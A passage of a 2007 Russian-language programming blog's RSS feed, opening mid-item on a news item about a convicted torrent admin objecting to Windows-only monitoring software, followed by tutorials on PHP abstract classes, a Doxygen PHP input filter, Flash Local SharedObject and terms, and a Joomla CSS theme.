			<content:encoded><![CDATA[<p>Бывший администратор одного из трекеров EliteTorrents BitTorrent Скотт МакКосланд [Scott McCausland] попал в неприятную историю: в 2006 году он выложил на сервер нелицензионную копию последней серии фильма "Звёздные войны", в связи с чем был "опознан" и осуждён на полгода тюремного заключения плюс такой же срок домашнего ареста. В данный момент Скотт уже вернулся домой, но, похоже, проблемы его не кончаются: дело в том, что надзорные органы, ответственные за постоянную проверку деятельности осуждённого на домашний арест, обязаны установить на компьютер специализированное ПО, отслеживающее его интернет-активность. Проблема же в том, что спец-шпион работает исключительно в среде Windows, а Скотт - постоянный пользователь Ubuntu. Решение нашлось быстро: надзорные органы предложили Скотту... удалить Ubuntu и установить Windows. Тем самым, считает осуждённый и его адвокат, государственные чиновники уже превышают свои полномочия, вмешиваясь в личную жизнь гражданина США, а не осуществляя пассивное наблюдение. Это, собственно, и станет основным аргументом жалобы, которую Скотт собирается подавать в суд. Его требование простое: пусть надзорные органы предоставят шпионское ПО, пригодное для установки в ту операционную систему, которой постоянно пользуется проверяемый. </p>
<p>Подробности здесь.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/60/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Абстрактные классы - для чего?</title>
		<link>http://e-code.tnt43.com/archives/59</link>
		<comments>http://e-code.tnt43.com/archives/59#comments</comments>
		<pubDate>Wed, 08 Aug 2007 23:02:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/59</guid>
		<description><![CDATA[Понимание ООП, приходит не тогда когда читаешь в книге про автомобили и цветочки, неизвестно кому пришло в голову использовать подобное объяснение в каждой книге, а в тот момент когда понимаешь как это приложить на практике. Постараюсь показать, как на самом деле действуют абстрактные классы и для чего они.
Предположим что на сайте есть форма, в которую [...]]]></description>
			<content:encoded><![CDATA[<p>Понимание <strong>ООП</strong>, приходит не тогда когда читаешь в книге про автомобили и цветочки, неизвестно кому пришло в голову использовать подобное объяснение в каждой книге, а в тот момент когда понимаешь как это приложить на практике. Постараюсь показать, как на самом деле действуют абстрактные классы и для чего они.</p>
<p>Предположим что на сайте есть форма, в которую пользователь должен ввести свои логин и пароль. Далее при нажатие на кнопку <strong>submit</strong> введенные им данные попадают в наш <strong>класс</strong>, скажем, <strong>class UserLogin { }</strong>. Казалось бы, чего сложного, проверить в базе и дальше авторизировать или нет. Для штучных, единичных и маленьких проектах, которые никогда и не будут развиватся, подобный подход самый быстрый и удобный, но когда надо написать нечно большое и развивающееся, здесь не обойтись без <strong>ООП</strong>.</p>
<p>Пароли могут хранится не только в базе SQL на хосте, но и скажем в базе другого хоста или в <strong>LDAP</strong>. Способов может быть множество и модули, под каждый из этих способов, не обязательно должен быть написан вами и не обязательно во время создание сайта. Это могут делать совершенно другие люди. </p>
<p>Вернемся к нашему <strong>классу</strong> и предположим что другая группа программистов пишет <strong>класс</strong> который будет проверять данные пользователя в своей базе. Вы конечно можете потратить время на то что бы договорится с ними что вам нужно получить от них, но можно сократит его, начав говорить на универсальном языке, язык кода, а именно <strong>абстрактный класс</strong>. И вот он<br />
<code>abstract class loginModule{</p>
<p>    public $info=false;</p>
<p>    abstract protected function ifMember($login, $pass);</p>
<p>    final function getInfo(){<br />
    	return $this->info;<br />
    }</p>
<p>}</code></p>
<p><strong>Абстрактный класс</strong> указывает своему наследнику какие методы там должны быть, вернее обязаны быть. Например метод <strong>ifMember</strong> который получит пароль и логин, и метод <strong>getInfo()</strong> который должен вернуть данные пользователя которого нашли или <strong>false</strong>.</p>
<p>Теперь, ваши партнеры могут написать нечто похожее на вот это.<br />
<code>class checkldap extends loginmodule{<br />
    function ifMember($login, $pass){<br />
        // некий код проверки<br />
        $this->info=true;<br />
    }<br />
}</code></p>
<p>И таких модулей может быть много главное чтоб они был <strong>extends loginmodule</strong>. После этого в нашем классе мы делаем следующее<br />
<code>class UserLogin{<br />
 $checkldap=new checkldap();<br />
 $checkldap->ifMember("login","pass");<br />
 If ($checkldap->getInfo()){<br />
    // похоже это их пользователь<br />
 }else{<br />
    // а возможно нет так что проверим у других<br />
 }<br />
}</code></p>
<p>Вот так с помощью <strong>абстрактного класс</strong> можно заложить основу расширяемости проекта.</p>
<p>И напоследок: </p>
<pre>
» Абстрактные классы также могут содержать обычные (не абстрактные) элементы.
» Нельзя объявлять абстрактными свойства класса.
» Нельзя напрямую создавать экземпляр абстрактного класса.
</pre>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/59/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Doxygen vs phpDocumentor, часть 2. INPUT_FILTER</title>
		<link>http://e-code.tnt43.com/archives/58</link>
		<comments>http://e-code.tnt43.com/archives/58#comments</comments>
		<pubDate>Wed, 08 Aug 2007 23:00:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/58</guid>
		<description><![CDATA[Источник: http://skn.livejournal.com/
Недавно опять вернувшись к проблеме выбора между doxygen'ом и phpDocumentor'ом (Doxygen vs phpDocumentor) решил написать для доксигена свой INPUT_FILTER. В прошлый раз как-то не стал изучать детально этот вопрос, просто порывшись в инете и не найдя ни одного фильтра для PHP забил на это.
Написал... классно получилось:) По сути фильтр решает все проблемы использования доксигена [...]]]></description>
			<content:encoded><![CDATA[<p>Источник: http://skn.livejournal.com/</p>
<p>Недавно опять вернувшись к проблеме выбора между doxygen'ом и phpDocumentor'ом (Doxygen vs phpDocumentor) решил написать для доксигена свой <strong>INPUT_FILTER</strong>. В прошлый раз как-то не стал изучать детально этот вопрос, просто порывшись в инете и не найдя ни одного фильтра для PHP забил на это.</p>
<p>Написал... классно получилось:) По сути фильтр решает все проблемы использования доксигена для <strong>php</strong>, которые я описывал ранее.</p>
<p>Фильтр делает следующие преобразования:</p>
<p>Заменяет <strong>self</strong> и parent на имена классов, т.к. доксиген их не понимает.<br />
По тэгу <strong>@var</strong> прописывает типы у свойств и констант классов.<br />
<code>< ?<br />
/**<br />
 *  foo<br />
 *  @var array<br />
 */<br />
public $foo;<br />
//-----------------------------------------------------------><br />
/**<br />
 *  foo<br />
 */<br />
public array $foo;<br />
?></code></p>
<p>По описанию функции прописывает возвращаемый тип (тэг @return)<br />
и типы параметров (<strong>@param</strong>). Если не задан return, то прописывает void.<br />
<code>< ?<br />
/**<br />
 * Foo.<br />
 * @param string[] $bar1 Desciption...<br />
 * @param array $bar2 Desciption...<br />
 * @return array Desciption...<br />
 */<br />
public function foo($bar1, $bar2)<br />
//-----------------------------------------------------------><br />
/**<br />
 * Foo.<br />
 * @param $bar1 Desciption...<br />
 * @param $bar2 Desciption...<br />
 * @return Desciption...<br />
 */<br />
public function array foo(string[] $bar1, array $bar2)<br />
?></code></p>
<p>Заменяет <strong>ZendStudio</strong>-описание класса объекта на строку кода: "Type Object;" - определение переменной в Си.<br />
В результате чего доксиген начинает прослеживать обращение к методам объектов заданных не явно (как альтернатива рефлексии:)).<br />
<code>< ?<br />
/* @var $oMyVar My_Class */<br />
//-----------------------------------------------------------><br />
My_Class $MyVar;<br />
?></code></p>
<p>Убивает у всех переменных бакс (если <strong>DoxyphpConfig::$baks true</strong>).<br />
Доксиген начинает понимать ссылки на св-ва класса (а с баксом обламывается).<br />
Плюс документация получается красивше, т.к. $ в заточенном под Си доксигене выделяется отдельно от переменной.<br />
Заменяет определение глобальных констант в стиле <strong>PHP (define)</strong><br />
на стиль Си: <strong>"const CONST = VALUE;"</strong> Т.к. define доксиген не понимает и соответственно<br />
не видит объявленные константы.<br />
Проставляет у всех переменных при присваивание значения префикс (<strong>"LN::"</strong>).<br />
Чтоб доксиген не воспринимал их как глобальные и не делал перекрестные ссылки.<br />
Заменяет тэг package на <strong>addtogroup</strong>. Чтоб при обработке кода заточенного<br />
под phpDocumentor доксиген не делал namespace из пакета (эт я для тестов натравливал фильтр на пакеты пира:)).<br />
Заменяет "<strong>abstract class</strong>" на "<strong>class</strong>", т.к. доксиген абстрактные классы<br />
обзывает протоколом и не прослеживает наследование для них.</p>
<p>Пример:<br />
Имеем код<br />
<code>док phpDocumentor 1.3.1<br />
док doxygen 1.5.2+graphviz<br />
док doxygen 1.5.2+graphviz+doxyphp</code></p>
<p>В конфиге доксигена следует указать:<br />
<code>    INPUT_FILTER           = "/usr/bin/php doxyphp.php"<br />
    FILTER_SOURCE_FILES    = YES</code><br />
Тестировалось всё на <strong>php5</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/58/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Объект Local SharedObject</title>
		<link>http://e-code.tnt43.com/archives/57</link>
		<comments>http://e-code.tnt43.com/archives/57#comments</comments>
		<pubDate>Wed, 08 Aug 2007 22:42:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/57</guid>
		<description><![CDATA[


Источник: http://flash-ripper.com/
  Local SharedObject (LSO) подойдет для хранения
данных клиента на его машине; сервер разгружается и освобождается от хранения
избыточной информации[1].
Сохранение информации происходит мгновенно. LSO поддерживается Flash Player c
версии 6.0.40.0; не описан в стандартной документации по Flash. Компания Macromedia
дала своим поклонникам действительно мощный инструмент, но не рассказала об этом
в документации.
]]></description>
			<content:encoded><![CDATA[<style type=\'text/css\'>
<!--
.epigraph {
	font-size: 11px;
	font-style: italic;
	text-align: right;
}
.theDate {
	font-size: 12px;
	color: #CC0000;
	text-align: justify;
	margin-left: 32px;
	margin-right: 24px;
	border-top-width: 1px;
	border-top-style: solid;
	border-top-color: #E18C8A;
}
.theHeader {
	padding-left: 32px;
	font-size: 24px;
	font-weight: bold;
	font-family: Georgia, "Times New Roman", Times, serif;
	color: #CC0000;
	padding-right: 24px;
	line-height: 28px;
	padding-top: 24px;
}
.theHeader2 {
	font-size: 17px;
	color: #CC0000;
	font-weight: bold;
}
.theHeader3 {
	font-size: 15px;
	color: #CC0000;
	font-weight: bold;
	text-align: left;
}
.theHeader4 {
	font-size: 12px;
	color: #CC0000;
}
.theHeader5 {
	font-size: 11px;
	color: #CC0000;
}
.theHeader6 {
	font-size: 11px;
	color: #CC0000;
}
.theBody {
	padding-left: 32px;
	color: #000033;
	padding-top: 16px;
	padding-right: 24px;
	text-align: justify;
	padding-bottom: 16px;
}
.theNote {
	color: #666666;
	font-size: 9px;
	padding-bottom: 10px;
	border-top: 1px dashed #999999;
	padding-top: 8px;</p>
<p>}
.notelink {
	vertical-align: super;
	color: #CC0000;
	font-size: 10px;
}
.theCode {
	font-family: "Courier New", Courier, mono;
	font-size: 12px;
	padding: 8px;
	background-color: #FFFFEE;
           color:#000000;
	margin-left: 0px;
	text-align: left;
	border: 1px solid #E3DED3;
}
.textHilite {
	font-weight: bold;
	color: #CC0000;
}
.textSmall {
	font-size: 10px;
}
.toTheTop {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	font-weight: bold;
	text-transform: uppercase;
	color: #000033;
	background-color: #99CCFF;
	text-align: right;
}
code {
	font-family: "Courier New", Courier, mono;
	color: #000099;
}
.shortcut {
	font-family: "Courier New", Courier, mono;
	font-weight: bold;
}
-->
</style>
<p><strong>Источник: http://flash-ripper.com/</strong></p>
<p><span class="textHilite"> </span> Local SharedObject (LSO) подойдет для хранения<br />
данных клиента на его машине; сервер разгружается и освобождается от хранения<br />
избыточной информации<span class="notelink"><a name="a1"></a>[<a href="#notes">1</a>]</span>.<br />
Сохранение информации происходит мгновенно. LSO поддерживается Flash Player c<br />
версии 6.0.40.0; не описан в стандартной документации по Flash. Компания Macromedia<br />
дала своим поклонникам действительно мощный инструмент, но не рассказала об этом<br />
в документации.</p>
<p> <a href="http://e-code.tnt43.com/archives/57#more-57" class="more-link">(more...)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/57/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Adobe Flash термины с объяснением</title>
		<link>http://e-code.tnt43.com/archives/56</link>
		<comments>http://e-code.tnt43.com/archives/56#comments</comments>
		<pubDate>Wed, 08 Aug 2007 22:35:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/56</guid>
		<description><![CDATA[Абсолютная
                                        адресация (absolute addressing)
             [...]]]></description>
			<content:encoded><![CDATA[<p><span class="theHeader4"><a name="absoluteaddressing"></a>Абсолютная<br />
                                        адресация (absolute addressing)</span><br />
                                        это такой способ задания области видимости<br />
                                        (адресации) переменной, при котором путь<br />
                                        к переменной указывается относительно<br />
                                        фиксированной области (<code>_root,_levelN</code>)<br />
                                        и зависит от изменения положения этой<br />
                                        фиксированной области в иерархии объектов.<br />
                                        Использование абсолютной адресации не<br />
                                        рекомендуется, так как это снижает <a href="#mobilecode">мобильность<br />
                                        кода</a> (при изменении положения фиксированной<br />
                                        области в иерархии объектов все абсолютные<br />
                                        адреса могут стать неработоспособными).<br />
                                        Рекомендуется использовать <a href="#relativeaddressing">относительную<br />
                                        адресацию</a>.</p>
<p><span class="theHeader4"><a name="arguments"></a>Аргументы<br />
                                        (arguments) </span><br />
                                        Функция при вызове может принимать параметры,<br />
                                        называемые аргументами. При этом говорят<br />
                                        &quot;<a href="#function">функции</a><br />
                                        были переданы аргументы&quot;, или &quot;функция<br />
                                        получила аргументы&quot;. Аргументы часто<br />
                                        используются при создании новых <a href="#object">объектов</a><br />
                                        из <a href="#class">классов</a> (в этом<br />
                                        случае функция в качестве аргументов получает<br />
                                        параметры создаваемого объекта).</p>
<p> <a href="http://e-code.tnt43.com/archives/56#more-56" class="more-link">(more...)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/56/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Создание темы из 3-х колонок на DIV слоях</title>
		<link>http://e-code.tnt43.com/archives/55</link>
		<comments>http://e-code.tnt43.com/archives/55#comments</comments>
		<pubDate>Tue, 07 Aug 2007 10:00:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Програмування]]></category>

		<category><![CDATA[Теорія]]></category>

		<category><![CDATA[Технології]]></category>

		<guid isPermaLink="false">http://e-code.tnt43.com/archives/55</guid>
		<description><![CDATA[Источник: http
Перевод Лебедев Сергей
В этом учебнике рассматривается создание трехколоночной темы для вебсайта на Joomla. Такими является большинство Joomla сайтов и это уже считается в некотором роде стандартом. Кроме того, позже можно будет скрыть неиспользуемые колонки.
Вообще-то, создать тему для Joomla сайта с помощью таблиц проще, так поступает большинство. Использование CSS требует большего профессионализма - научиться этому [...]]]></description>
			<content:encoded><![CDATA[<p>Источник: http<br />
Перевод Лебедев Сергей</p>
<p>В этом учебнике рассматривается создание трехколоночной темы для вебсайта на Joomla. Такими является большинство Joomla сайтов и это уже считается в некотором роде стандартом. Кроме того, позже можно будет скрыть неиспользуемые колонки.</p>
<p>Вообще-то, создать тему для Joomla сайта с помощью таблиц проще, так поступает большинство. Использование CSS требует большего профессионализма - научиться этому сложнее, кроме того, есть проблемы с интерпретацией CSS некоторыми браузерами. Поэтому, этот учебник предназначен для людей, имеющих опыт работы с CSS.<br />
 <a href="http://e-code.tnt43.com/archives/55#more-55" class="more-link">(more...)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://e-code.tnt43.com/archives/55/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
